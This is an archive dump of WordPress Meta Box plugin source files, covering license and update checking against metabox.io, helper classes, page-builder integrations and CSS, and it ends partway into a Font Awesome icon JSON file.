			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
			'invalid' => __( 'Your license key for Meta Box is <b>invalid</b>. Please <a href="%1$s">update your license key</a> or <a href="%2$s" target="_blank">get a new one</a> to enable automatic updates.', 'meta-box' ),
			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
			'error'   => __( 'Your license key for Meta Box is <b>invalid</b>. Please <a href="%1$s">update your license key</a> or <a href="%2$s" target="_blank">get a new one</a> to enable automatic updates.', 'meta-box' ),
			// Translators: %3$s - URL to the My Account page.
			'expired' => __( 'Your license key for Meta Box is <b>expired</b>. Please <a href="%3$s" target="_blank">renew your license</a> to get automatic updates and premium support.', 'meta-box' ),
		];
		$status   = $this->option->get_license_status();
		if ( ! isset( $messages[ $status ] ) ) {
			return;
		}

		echo '<div class="notice notice-warning is-dismissible"><p><span class="dashicons dashicons-warning" style="color: #f56e28"></span> ', wp_kses_post( sprintf( $messages[ $status ], $this->settings_page, 'https://elu.to/mnp', 'https://elu.to/mna' ) ), '</p></div>';
	}

	/**
	 * Show update message on Plugins page.
	 *
	 * @param  array  $plugin_data Plugin data.
	 * @param  object $response    Available plugin update data.
	 */
	public function show_update_message( $plugin_data, $response ) {
		// Users have an active license.
		if ( ! empty( $response->package ) ) {
			return;
		}

		$messages = [
			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
			'no_key'  => __( 'Please <a href="%1$s">enter your license key</a> or <a href="%2$s" target="_blank">get a new one here</a>.', 'meta-box' ),
			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
			'invalid' => __( 'Your license key is <b>invalid</b>. Please <a href="%1$s">update your license key</a> or <a href="%2$s" target="_blank">get a new one here</a>.', 'meta-box' ),
			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
			'error'   => __( 'Your license key is <b>invalid</b>. Please <a href="%1$s">update your license key</a> or <a href="%2$s" target="_blank">get a new one here</a>.', 'meta-box' ),
			// Translators: %3$s - URL to the My Account page.
			'expired' => __( 'Your license key is <b>expired</b>. Please <a href="%3$s" target="_blank">renew your license</a>.', 'meta-box' ),
		];
		$status   = $this->option->get_license_status();
		if ( ! isset( $messages[ $status ] ) ) {
			return;
		}

		echo '<br><span style="width: 26px; height: 20px; display: inline-block;">&nbsp;</span>' . wp_kses_post( sprintf( $messages[ $status ], $this->settings_page, 'https://elu.to/mnp', 'https://elu.to/mna' ) );
	}

	public function plugin_links( array $links ): array {
		$status = $this->option->get_license_status();
		if ( 'active' === $status ) {
			return $links;
		}

		$text    = 'no_key' === $status ? __( 'Activate License', 'meta-box' ) : __( 'Update License', 'meta-box' );
		$links[] = '<a href="' . esc_url( $this->settings_page ) . '" class="rwmb-activate-license" style="color: #39b54a; font-weight: bold">' . esc_html( $text ) . '</a>';

		return $links;
	}
}
PK     N\Bj    3  inc/dashboard/lib/meta-box/src/Updater/Settings.phpnu [        <?php
namespace MetaBox\Updater;

class Settings {
	private $option;
	private $checker;
	private $fake_api_key;

	public function __construct( Checker $checker, Option $option ) {
		$this->checker      = $checker;
		$this->option       = $option;
		$this->fake_api_key = 'Please do not steal this license key';
	}

	public function init() {
		// Whether to enable Meta Box menu. Priority 1 makes sure it runs before adding Meta Box menu.
		$admin_menu_hook = $this->option->is_network_activated() ? 'network_admin_menu' : 'admin_menu';
		add_action( $admin_menu_hook, [ $this, 'enable_menu' ], 1 );
	}

	public function enable_menu() {
		if ( ! $this->checker->has_extensions() ) {
			return;
		}

		// Enable Meta Box menu only in single site.
		if ( ! $this->option->is_network_activated() ) {
			add_filter( 'rwmb_admin_menu', '__return_true' );
		}

		// Add submenu. Priority 90 makes it the last sub-menu item.
		$admin_menu_hook = $this->option->is_network_activated() ? 'network_admin_menu' : 'admin_menu';
		add_action( $admin_menu_hook, [ $this, 'add_settings_page' ], 90 );
	}

	public function add_settings_page() {
		$parent     = $this->option->is_network_activated() ? 'settings.php' : 'meta-box';
		$capability = $this->option->is_network_activated() ? 'manage_network_options' : 'manage_options';
		$title      = $this->option->is_network_activated() ? esc_html__( 'Meta Box License', 'meta-box' ) : esc_html__( 'License', 'meta-box' );
		$page_hook  = add_submenu_page(
			$parent,
			$title,
			$title,
			$capability,
			'meta-box-updater',
			[ $this, 'render' ]
		);
		add_action( "load-{$page_hook}", [ $this, 'save' ] );
	}

	public function render() {
		?>
		<div class="wrap">
			<h1><?php esc_html_e( 'Meta Box License', 'meta-box' ); ?></h1>
			<p><?php esc_html_e( 'Please enter your license key to enable automatic updates for Meta Box extensions.', 'meta-box' ); ?></p>
			<p>
				<?php
				printf(
					// Translators: %1$s - URL to the My Account page, %2$s - URL to the pricing page.
					wp_kses_post( __( 'To get the license key, visit the <a href="%1$s" target="_blank">My Account</a> page on metabox.io website. If you have not purchased any extension yet, please <a href="%2$s" target="_blank">get a new license here</a>.', 'meta-box' ) ),
					'https://elu.to/mua',
					'https://elu.to/mup'
				);
				?>
			</p>

			<form action="" method="post">
				<?php wp_nonce_field( 'meta-box' ); ?>

				<table class="form-table">
					<tr>
						<th scope="row"><?php esc_html_e( 'License Key', 'meta-box' ); ?></th>
						<td>
							<?php
							$messages = [
								'invalid' => __( 'Your license key is <b style="color: #d63638">invalid</b>.', 'meta-box' ),
								'error'   => __( 'Your license key is <b style="color: #d63638">invalid</b>.', 'meta-box' ),
								'expired' => __( 'Your license key is <b style="color: #d63638">expired</b>.', 'meta-box' ),
								'active'  => __( 'Your license key is <b style="color: #00a32a">active</b>.', 'meta-box' ),
							];
							$status   = $this->option->get_license_status();
							$api_key  = 'active' === $status ? $this->fake_api_key : $this->option->get( 'api_key' );
							?>
							<input class="regular-text" name="meta_box_updater[api_key]" value="<?php echo esc_attr( $api_key ); ?>" type="password">
							<?php if ( isset( $messages[ $status ] ) ) : ?>
								<p class="description"><?php echo wp_kses_post( $messages[ $status ] ); ?></p>
							<?php endif; ?>
						</td>
					</tr>
				</table>

				<?php submit_button( __( 'Save Changes', 'meta-box' ) ); ?>
			</form>
		</div>
		<?php
	}

	public function save() {
		$request = rwmb_request();
		if ( ! $request->post( 'submit' ) ) {
			return;
		}
		check_admin_referer( 'meta-box' );

		$option = (array) $request->post( 'meta_box_updater', [] );

		if ( isset( $option['api_key'] ) && $option['api_key'] === $this->fake_api_key ) {
			return;
		}

		$status   = 'invalid';
		$response = null;
		if ( isset( $option['api_key'] ) ) {
			$args     = [
				'key'   => $option['api_key'],
				'force' => true,
			];
			$response = $this->checker->request( 'status', $args );
			$status   = $response['status'] ?? 'invalid';
		}

		if ( empty( $response ) ) {
			add_settings_error( '', 'mb-error', __( 'Something wrong with the connection to metabox.io. Please try again later.', 'meta-box' ) );
		} elseif ( 'active' === $status ) {
			add_settings_error( '', 'mb-success', __( 'Your license is activated.', 'meta-box' ), 'updated' );
		} elseif ( 'expired' === $status ) {
			// Translators: %s - URL to the My Account page.
			$message = __( 'License expired. Please renew on the <a href="%s" target="_blank">My Account</a> page on metabox.io website.', 'meta-box' );
			$message = wp_kses_post( sprintf( $message, 'https://elu.to/mua' ) );

			add_settings_error( '', 'mb-expired', $message );
		} else {
			// Translators: %1$s - URL to the My Account page, %2$s - URL to the pricing page.
			$message = __( 'Invalid license. Please <a href="%1$s" target="_blank">check again</a> or <a href="%2$s" target="_blank">get a new license here</a>.', 'meta-box' );
			$message = wp_kses_post( sprintf( $message, 'https://elu.to/mua', 'https://mup' ) );

			add_settings_error( '', 'mb-invalid', $message );
		}

		$option['status'] = $status;

		$admin_notices_hook = $this->option->is_network_activated() ? 'network_admin_notices' : 'admin_notices';
		add_action( $admin_notices_hook, 'settings_errors' );

		$this->option->update( $option );
	}
}
PK     N\檠    2  inc/dashboard/lib/meta-box/src/Updater/Checker.phpnu [        <?php
namespace MetaBox\Updater;

use stdClass;

class Checker {
	private $api_url = 'https://metabox.io/wp-json/buse2/updater/';
	private $option;

	public function __construct( Option $option ) {
		$this->option = $option;
	}

	public function init() {
		add_action( 'init', [ $this, 'enable_update' ], 1 );
	}

	public function enable_update() {
		if ( $this->has_extensions() ) {
			add_filter( 'pre_set_site_transient_update_plugins', [ $this, 'check_updates' ] );
			add_filter( 'plugins_api', [ $this, 'get_info' ], 10, 3 );
		}
	}

	public function has_extensions() {
		$extensions = $this->get_extensions();
		return ! empty( $extensions );
	}

	public function get_extensions() {
		if ( ! function_exists( 'get_plugins' ) ) {
			require_once ABSPATH . 'wp-admin/includes/plugin.php';
		}

		$extensions = [
			'mb-admin-columns',
			'mb-blocks',
			'mb-core',
			'mb-custom-table',
			'mb-frontend-submission',
			'mb-revision',
			'mb-settings-page',
			'mb-term-meta',
			'mb-user-meta',
			'mb-user-profile',
			'mb-views',
			'meta-box-aio',
			'meta-box-builder',
			'meta-box-columns',
			'meta-box-conditional-logic',
			'meta-box-geolocation',
			'meta-box-group',
			'meta-box-include-exclude',
			'meta-box-show-hide',
			'meta-box-tabs',
			'meta-box-template',

			'mb-favorite-posts',
			'mb-testimonials',
			'mb-user-avatar',
		];
		$plugins    = get_plugins();
		$plugins    = array_map( 'dirname', array_keys( $plugins ) );

		return array_intersect( $extensions, $plugins );
	}

	/**
	 * Check plugin for updates
	 *
	 * @param object $data The plugin update data.
	 *
	 * @return mixed
	 */
	public function check_updates( $data ) {
		static $response = null;

		$request = rwmb_request();

		// Bypass embed plugins via TGMPA.
		if ( $request->get( 'tgmpa-update' ) || 'tgmpa-bulk-update' === $request->post( 'action' ) ) {
			return $data;
		}

		// Make sure to send remote request once.
		if ( null === $response ) {
			$response = $this->request( 'plugins' );
		}

		if ( empty( $response ) ) {
			return $data;
		}

		if ( empty( $data ) ) {
			$data = new stdClass;
		}
		if ( ! isset( $data->response ) ) {
			$data->response = [];
		}

		$plugins = array_filter( $response['data'], [ $this, 'has_update' ] );
		foreach ( $plugins as $plugin ) {
			if ( empty( $plugin['package'] ) ) {
				$plugin['upgrade_notice'] = __( 'UPDATE UNAVAILABLE! Please enter a valid license key to enable automatic updates.', 'meta-box' );
			}

			$data->response[ $plugin['plugin'] ] = (object) $plugin;
		}

		$this->option->update( [
			'status'  => $response['status'],
			'plugins' => array_keys( $plugins ),
		] );

		return $data;
	}

	/**
	 * Get plugin information
	 *
	 * @param object $data   The plugin update data.
	 * @param string $action Request action.
	 * @param object $args   Extra parameters.
	 *
	 * @return mixed
	 */
	public function get_info( $data, $action, $args ) {
		$plugins = $this->option->get( 'plugins', [] );
		if ( 'plugin_information' !== $action || ! isset( $args->slug ) || ! in_array( $args->slug, $plugins, true ) ) {
			return $data;
		}

		$response = $this->request( 'plugin', [ 'product' => $args->slug ] );
		return $response ? (object) $response['data'] : $data;
	}

	public function request( $endpoint, $args = [] ) {
		$args = wp_parse_args( $args, [
			'key'   => $this->option->get_api_key(),
			'url'   => home_url(),
			'force' => false,
		] );

		// Get from cache first.
		$data      = compact( 'endpoint', 'args' );
		$cache_key = 'meta_box_' . md5( serialize( $data ) );
		if ( $this->option->is_network_activated() ) {
			$cache = get_site_transient( $cache_key );
		} else {
			$cache = get_transient( $cache_key );
		}
		if ( ! $args['force'] && $cache ) {
			return $cache;
		}

		$url      = $this->api_url . $endpoint;
		$request  = wp_remote_get( add_query_arg( $args, $url ) );
		$response = wp_remote_retrieve_body( $request );
		$response = json_decode( $response, true );

		// Cache requests.
		if ( $this->option->is_network_activated() ) {
			set_site_transient( $cache_key, $response, DAY_IN_SECONDS );
		} else {
			set_transient( $cache_key, $response, DAY_IN_SECONDS );
		}

		return $response;
	}

	private function has_update( $remote_plugin_data ) {
		$slug    = $remote_plugin_data['plugin'];
		$plugins = get_plugins();

		if ( empty( $plugins[ $slug ] ) ) {
			return false;
		}

		$plugin = $plugins[ $slug ];
		return version_compare( $plugin['Version'], $remote_plugin_data['new_version'], '<' );
	}
}
PK     N\E    1  inc/dashboard/lib/meta-box/src/Updater/Option.phpnu [        <?php
namespace MetaBox\Updater;

/**
 * This class handles getting and saving the updater option.
 */
class Option {
	/**
	 * Option name.
	 *
	 * @var string
	 */
	private $option = 'meta_box_updater';

	/**
	 * Get an option.
	 *
	 * @param ?string $name    Option name. Pass null to return the option array.
	 * @param mixed   $default Default value.
	 *
	 * @return mixed Option value or option array.
	 */
	public function get( $name = null, $default = null ) {
		$option = $this->is_network_activated() ? get_site_option( $this->option, [] ) : get_option( $this->option, [] );

		return null === $name ? $option : ( $option[ $name ] ?? $default );
	}

	public function get_api_key() : string {
		return defined( 'META_BOX_KEY' ) ? META_BOX_KEY : $this->get( 'api_key', '' );
	}

	public function get_license_status() : string {
		return $this->get_api_key() ? $this->get( 'status', 'active' ) : 'no_key';
	}

	/**
	 * Update the option array.
	 *
	 * @param array $option Option value.
	 */
	public function update( $option ) {
		$old_option = (array) $this->get();

		$option = array_merge( $old_option, $option );
		if ( $this->is_network_activated() ) {
			update_site_option( $this->option, $option );
		} else {
			update_option( $this->option, $option );
		}
	}

	public function is_network_activated() : bool {
		if ( ! function_exists( 'is_plugin_active_for_network' ) ) {
			require_once ABSPATH . '/wp-admin/includes/plugin.php';
		}
		return is_multisite() && is_plugin_active_for_network( 'meta-box/meta-box.php' );
	}
}
PK     N\~Cj    .  inc/dashboard/lib/meta-box/src/Support/Arr.phpnu [        <?php
namespace MetaBox\Support;

class Arr {
	/**
	 * New array map function that accepts more params than just values.
	 * Params: array|item, callback, other params.
	 */
	public static function map() {
		$args     = func_get_args();
		$items    = array_shift( $args );
		$callback = array_shift( $args );

		if ( ! is_array( $items ) ) {
			array_unshift( $args, $items );
			return call_user_func_array( $callback, $args );
		}

		return array_map(
			function( $item ) use ( $callback, $args ) {
				array_unshift( $args, $item );
				return call_user_func_array( $callback, $args );
			},
			$items
		);
	}

	/**
	 * Convert a comma separated string to array.
	 *
	 * @param array|string $csv Comma separated string.
	 */
	public static function from_csv( $csv ) : array {
		return is_array( $csv ) ? $csv : array_filter( array_map( 'trim', explode( ',', $csv . ',' ) ) );
	}

	/**
	 * Change array key.
	 *
	 * @param  array  $array Input array.
	 * @param  string $from  From key.
	 * @param  string $to    To key.
	 */
	public static function change_key( &$array, $from, $to ) {
		if ( isset( $array[ $from ] ) ) {
			$array[ $to ] = $array[ $from ];
		}
		unset( $array[ $from ] );
	}

	/**
	 * Ensure a variable is an array.
	 */
	public static function ensure( $input ) : array {
		return (array) $input;
	}

	/**
	 * Flatten an array.
	 * @link https://stackoverflow.com/a/1320156/371240
	 */
	public static function flatten( array $array ) : array {
		$return = [];
		array_walk_recursive(
			$array,
			function( $a ) use ( &$return ) {
				$return[] = $a;
			}
		);
		return $return;
	}

	/**
	 * Convert flatten collection (with dot notation) to multiple dimensional array
	 *
	 * @param  collection $collection Collection to be flatten.
	 * @return array
	 */
	public static function unflatten( $collection ) {
		$collection = (array) $collection;
		$output     = [];

		foreach ( $collection as $key => $value ) {
			self::set( $output, $key, $value );

			if ( is_array( $value ) && ! strpos( $key, '.' ) ) {
				$nested         = self::unflatten( $value );
				$output[ $key ] = $nested;
			}
		}

		return $output;
	}

	/**
	 * Set array element value with dot notation.
	 */
	public static function set( &$array, $key, $value ) {
		if ( is_null( $key ) ) {
			$array = $value;
			return $array;
		}

		// Do not parse email value.
		if ( is_email( $key ) ) {
			$array[ $key ] = $value;
			return;
		}

		$keys = explode( '.', $key );

		while ( count( $keys ) > 1 ) {
			$key = array_shift( $keys );

			// If the key doesn't exist at this depth, we will just create an empty array
			// to hold the next value, allowing us to create the arrays to hold final
			// values at the correct depth. Then we'll keep digging into the array.
			if ( ! isset( $array[ $key ] ) || ! is_array( $array[ $key ] ) ) {
				$array[ $key ] = [];
			}

			$array =& $array[ $key ];
		}

		$array[ array_shift( $keys ) ] = $value;
	}

	/**
	 * Get array element value with dot notation.
	 */
	public static function get( $array, $key, $default = null ) {
		if ( is_null( $key ) ) {
			return $array;
		}

		$keys = explode( '.', $key );
		foreach ( $keys as $key ) {
			if ( isset( $array[ $key ] ) ) {
				$array = $array[ $key ];
			} else {
				return $default;
			}
		}

		return $array;
	}
}
PK     N\@    /  inc/dashboard/lib/meta-box/src/Support/Data.phpnu [        <?php
namespace MetaBox\Support;

class Data {
	public static function get_post_types() {
		$unsupported = [
			// WordPress built-in post types.
			'customize_changeset',
			'custom_css',
			'nav_menu_item',
			'oembed_cache',
			'revision',
			'user_request',
			'wp_block',
			'wp_template',
			'wp_template_part',
			'wp_global_styles',
			'wp_navigation',
			'wp_template',
			'wp_template_part',
			'wp_global_styles',

			// Meta Box post types.
			'mb-post-type',
			'mb-taxonomy',
			'mb-relationship',
			'mb-settings-page',
			'mb-views',
			'meta-box',

			// Elementor post types.
			'elementor_library',
			'elementor_font',
			'elementor_icons',
			'elementor_snippet',
		];
		$post_types = get_post_types( [], 'objects' );
		$post_types = array_diff_key( $post_types, array_flip( $unsupported ) );

		return $post_types;
	}

	public static function get_taxonomies() {
		$unsupported = [
			'link_category',
			'nav_menu',
			'post_format',
			'wp_theme',
			'wp_template_part_area',
			'mb-views-category',
		];
		$taxonomies = get_taxonomies( [], 'objects' );
		$taxonomies = array_diff_key( $taxonomies, array_flip( $unsupported ) );

		return $taxonomies;
	}

	public static function get_dashicons() {
		return [
			'admin-appearance',
			'admin-collapse',
			'admin-comments',
			'admin-generic',
			'admin-home',
			'admin-links',
			'admin-media',
			'admin-network',
			'admin-page',
			'admin-plugins',
			'admin-post',
			'admin-settings',
			'admin-site',
			'admin-site-alt',
			'admin-site-alt2',
			'admin-tools',
			'admin-users',
			'admin-customizer',
			'admin-multisite',
			'album',
			'align-center',
			'align-left',
			'align-none',
			'align-right',
			'align-full-width',
			'align-pull-left',
			'align-pull-right',
			'align-wide',
			'analytics',
			'archive',
			'arrow-down-alt2',
			'arrow-down-alt',
			'arrow-down',
			'arrow-left-alt2',
			'arrow-left-alt',
			'arrow-left',
			'arrow-right-alt2',
			'arrow-right-alt',
			'arrow-right',
			'arrow-up-alt2',
			'arrow-up-alt',
			'arrow-up',
			'art',
			'awards',
			'amazon',
			'airplane',
			'backup',
			'book-alt',
			'book',
			'block-default',
			'button',
			'building',
			'businessman',
			'bell',
			'beer',
			'bank',
			'car',
			'calendar-alt',
			'calendar',
			'camera',
			'camera-alt',
			'carrot',
			'cart',
			'calculator',
			'category',
			'chart-area',
			'chart-bar',
			'chart-line',
			'chart-pie',
			'clipboard',
			'clock',
			'columns',
			'cover-image',
			'cloud',
			'cloud-saved',
			'cloud-upload',
			'controls-back',
			'controls-forward',
			'controls-pause',
			'controls-play',
			'controls-repeat',
			'controls-skipback',
			'controls-skipforward',
			'controls-volumeoff',
			'controls-volumeon',
			'coffee',
			'dashboard',
			'database-add',
			'database-export',
			'database-import',
			'database-remove',
			'database-view',
			'database',
			'desktop',
			'dismiss',
			'download',
			'drumstick',
			'ellipsis',
			'embed-audio',
			'embed-generic',
			'embed-photo',
			'embed-post',
			'embed-video',
			'editor-aligncenter',
			'editor-alignleft',
			'editor-alignright',
			'editor-bold',
			'editor-break',
			'editor-code',
			'editor-contract',
			'editor-customchar',
			'editor-distractionfree',
			'editor-expand',
			'editor-help',
			'editor-indent',
			'editor-insertmore',
			'editor-italic',
			'editor-justify',
			'editor-kitchensink',
			'editor-ol',
			'editor-outdent',
			'editor-paragraph',
			'editor-paste-text',
			'editor-paste-word',
			'editor-quote',
			'editor-removeformatting',
			'editor-rtl',
			'editor-spellcheck',
			'editor-strikethrough',
			'editor-textcolor',
			'editor-ul',
			'editor-underline',
			'editor-unlink',
			'editor-video',
			'edit',
			'edit-page',
			'email-alt',
			'email',
			'excerpt-view',
			'exerpt-view',
			'external',
			'exit',
			'facebook-alt',
			'facebook',
			'feedback',
			'flag',
			'format-aside',
			'format-audio',
			'format-chat',
			'format-gallery',
			'format-image',
			'format-links',
			'format-quote',
			'format-standard',
			'format-status',
			'format-video',
			'forms',
			'filter',
			'food',
			'fullscreen-alt',
			'fullscreen-exit-alt',
			'games',
			'googleplus',
			'google',
			'grid-view',
			'groups',
			'hammer',
			'heart',
			'heading',
			'html',
			'hourglass',
			'id-alt',
			'id',
			'info-outline',
			'insert-after',
			'insert-before',
			'insert',
			'images-alt2',
			'images-alt',
			'image-crop',
			'image-flip-horizontal',
			'image-flip-vertical',
			'image-rotate-left',
			'image-rotate-right',
			'index-card',
			'info',
			'leftright',
			'lightbulb',
			'list-view',
			'location-alt',
			'location',
			'lock',
			'linkedin',
			'marker',
			'media-archive',
			'media-audio',
			'media-code',
			'media-default',
			'media-document',
			'media-interactive',
			'media-spreadsheet',
			'media-text',
			'media-video',
			'megaphone',
			'menu',
			'menu-alt',
			'menu-alt2',
			'menu-alt3',
			'microphone',
			'migrate',
			'minus',
			'money',
			'money-alt',
			'nametag',
			'networking',
			'no-alt',
			'no',
			'open-folder',
			'palmtree',
			'performance',
			'phone',
			'playlist-audio',
			'playlist-video',
			'plus-alt',
			'plus',
			'portfolio',
			'post-status',
			'post-trash',
			'pressthis',
			'products',
			'plugins-checked',
			'pinterest',
			'podio',
			'printer',
			'pdf',
			'pets',
			'privacy',
			'randomize',
			'redo',
			'rss',
			'remove',
			'reddit',
			'superhero',
			'superhero-alt',
			'spotify',
			'schedule',
			'screenoptions',
			'search',
			'share1',
			'share-alt2',
			'share-alt',
			'share',
			'shield-alt',
			'shield',
			'slides',
			'shortcode',
			'smartphone',
			'smiley',
			'sort',
			'sos',
			'star-empty',
			'star-filled',
			'star-half',
			'store',
			'saved',
			'tablet',
			'twitch',
			'table-col-after',
			'table-col-before',
			'table-col-delete',
			'table-row-after',
			'table-row-before',
			'table-row-delete',
			'tagcloud',
			'tag',
			'testimonial',
			'text',
			'tickets-alt',
			'tickets',
			'translation',
			'trash',
			'twitter',
			'undo',
			'universal-access-alt',
			'universal-access',
			'update',
			'upload',
			'vault',
			'video-alt2',
			'video-alt3',
			'video-alt',
			'visibility',
			'xing',
			'youtube',
			'whatsapp',
			'welcome-add-page',
			'welcome-comments',
			'welcome-edit-page',
			'welcome-learn-more',
			'welcome-view-site',
			'welcome-widgets-menus',
			'welcome-write-blog',
			'wordpress-alt',
			'wordpress',
		];
	}
}PK     N\    6  inc/dashboard/lib/meta-box/src/Integrations/Bricks.phpnu [        <?php
namespace MetaBox\Integrations;

class Bricks {
	public function __construct() {
		add_filter( 'bricks/builder/i18n', [ $this, 'i18n' ] );
	}

	public function i18n( array $i18n ): array {
		$i18n['meta-box'] = esc_html__( 'Meta Box', 'meta-box' );
		return $i18n;
	}
}
PK     N\Dt  t  6  inc/dashboard/lib/meta-box/src/Integrations/Oxygen.phpnu [        <?php
namespace MetaBox\Integrations;

class Oxygen {

	public function __construct() {
		add_action( 'oxygen_add_plus_sections', [ $this, 'add_metabox_category' ] );
	}

	public function add_metabox_category() {
		if ( ! defined( 'CT_VERSION' ) ) {
			return;
		}
		\CT_Toolbar::oxygen_add_plus_accordion_section( 'meta-box', esc_html__( 'Meta Box', 'meta-box' ) );
	}
}
PK     N\V׀    9  inc/dashboard/lib/meta-box/src/Integrations/Elementor.phpnu [        <?php
namespace MetaBox\Integrations;

class Elementor {
	public function __construct() {
		add_action( 'elementor/elements/categories_registered', [ $this, 'add_metabox_category' ] );
	}

	public function add_metabox_category() {
		\Elementor\Plugin::instance()->elements_manager->add_category(
			'metabox',
			[
				'title' => esc_html__( 'Meta Box', 'meta-box' ),
				'icon'  => 'fa fa-m',
			]
		);
	}
}
PK     N\d  d  5  inc/dashboard/lib/meta-box/src/Integrations/Block.phpnu [        <?php
namespace MetaBox\Integrations;

class Block {
	public function __construct() {
		add_filter( 'block_categories_all', [ $this, 'register_block_category' ] );
	}

	public function register_block_category( $categories ) {
		$categories[] = [
			'slug'  => 'meta-box',
			'title' => esc_html__( 'Meta Box', 'meta-box' ),
		];

		return $categories;
	}
}PK     N\    '  inc/dashboard/lib/meta-box/meta-box.phpnu [        <?php
/**
 * Plugin Name: Meta Box
 * Plugin URI:  https://metabox.io
 * Description: Create custom meta boxes and custom fields in WordPress.
 * Version:     5.9.7
 * Author:      MetaBox.io
 * Author URI:  https://metabox.io
 * License:     GPL2+
 * Text Domain: meta-box
 * Domain Path: /languages/
 *
 * @package Meta Box
 */

if ( defined( 'ABSPATH' ) && ! defined( 'RWMB_VER' ) ) {
	require_once __DIR__ . '/inc/loader.php';
	$rwmb_loader = new RWMB_Loader();
	$rwmb_loader->init();
}
PK     N\5    &  inc/dashboard/lib/meta-box/css/map.cssnu [        .rwmb-map-canvas {
	width: 100%;
	height: 400px;
	margin-bottom: 10px;
}

/* Autocomplete style, copy from WordPress's common.css and forms.css */

input.ui-autocomplete-input.open {
	border-bottom-color: transparent;
}

.ui-autocomplete {
	padding: 0;
	margin: 0;
	list-style: none;
	position: absolute;
	z-index: 10000;
	border: 1px solid #5b9dd9;
	box-shadow: 0 1px 2px rgba( 30, 140, 190, 0.8 );
	background-color: #fff;
}

.ui-autocomplete li {
	margin-bottom: 0;
	padding: 4px 10px;
	white-space: nowrap;
	text-align: left;
	cursor: pointer;
}

/* Colors for the wplink toolbar autocomplete. */
.ui-autocomplete .ui-state-focus {
	background-color: #ddd;
}

.ui-helper-hidden-accessible {
	border: 0;
	clip: rect(1px, 1px, 1px, 1px);
	-webkit-clip-path: inset(50%);
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
	word-wrap: normal !important; /* many screen reader and browser combinations announce broken words as they would appear visually */
}
PK     N\"[      (  inc/dashboard/lib/meta-box/css/color.cssnu [        .rwmb-color-wrapper .wp-picker-container {
	position: relative;
}
.rwmb-color-wrapper .wp-picker-holder {
	position: absolute;
	z-index: 99;
	min-width: 255px;
}
PK     N\ok    )  inc/dashboard/lib/meta-box/css/upload.cssnu [        .rwmb-upload-area {
	height: 200px;
	border: 4px dashed #ddd;
	display: flex;
	align-items: center;
	justify-content: center;
	text-align: center;
}

.rwmb-upload-inside h3 {
	font-size: 20px;
	line-height: 1.4;
	font-weight: 400;
	margin: 0;
}

.rwmb-upload-inside p {
	margin: .5em 0;
}

/* Progress bar */
.rwmb-progress {
	--height: 16px;

	margin-bottom: 12px;

	position: relative;
	z-index: 1;

	border-radius: 99px;
	background-color: #ddd;

	height: var(--height);
	line-height: var(--height);
	color: #fff;
	font-size: 11px;
	text-align: center;
}

.rwmb-progress:before {
	display: block;
	content: "";

	position: absolute;
	width: calc(var(--value) * 1%);
	height: 100%;
	z-index: -1;

	background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
	background-size: 16px 16px;
	background-color: var(--wp-admin-theme-color, #2271b1);
	border-radius: 99px 0 0 99px;
}

.rwmb-progress--completed:before {
	border-radius: 99px;
	animation: progress 1s linear infinite;
}

@keyframes progress {
	0% {
		background-position: 0 0;
	}

	100% {
		background-position: 16px 0px;
	}
}PK     N\R>h   h   .  inc/dashboard/lib/meta-box/css/select-tree.cssnu [        .rwmb-select-tree .rwmb-select-tree {
	margin-top: 6px;
}

.rwmb-select-tree.hidden {
	display: none;
}
PK     N\tm    (  inc/dashboard/lib/meta-box/css/media.cssnu [        .rwmb-media-list {
	margin: 0;
	padding: 0;
	overflow: hidden;
}
.rwmb-edit-media,
.rwmb-remove-media {
	color: inherit;
	text-decoration: none;
}
.rwmb-edit-media:after {
	content: "|";
	color: #dcdcde;
	margin: 0 6px;
}
.rwmb-remove-media {
	color: #b32d2e;
}PK     N\ȵ      )  inc/dashboard/lib/meta-box/css/oembed.cssnu [        .rwmb-oembed-wrapper .spinner {
	float: none;
	vertical-align: top;
	display: inline-block;
}
.rwmb-embed-media {
	margin-top: 1em;
}
.rwmb-embed-media iframe {
	max-width: 100%;
}
PK     N\      (  inc/dashboard/lib/meta-box/css/video.cssnu [        .rwmb-video-item {
	position: relative;
	float: left;
	margin: 0 12px 12px 0;
	list-style: none;
	width: 300px;
	box-sizing: border-box;
}

.rwmb-video-item video {
	width: auto;
	height: 100%;
}

.rwmb-video-item .rwmb-media-info {
	margin-top: 12px;
}
PK     N\gF= F= 5  inc/dashboard/lib/meta-box/css/fontawesome/icons.jsonnu [        {
  "0": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Zero", "nada", "none", "zero", "zilch"]
    },
    "styles": ["solid"],
    "unicode": "30",
    "label": "0",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M0 192C0 103.6 71.6 32 160 32s160 71.6 160 160V320c0 88.4-71.6 160-160 160S0 408.4 0 320V192zM160 96c-53 0-96 43-96 96V320c0 53 43 96 96 96s96-43 96-96V192c0-53-43-96-96-96z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M0 192C0 103.6 71.6 32 160 32s160 71.6 160 160V320c0 88.4-71.6 160-160 160S0 408.4 0 320V192zM160 96c-53 0-96 43-96 96V320c0 53 43 96 96 96s96-43 96-96V192c0-53-43-96-96-96z"
      }
    },
    "free": ["solid"]
  },
  "1": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit One", "one"]
    },
    "styles": ["solid"],
    "unicode": "31",
    "label": "1",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
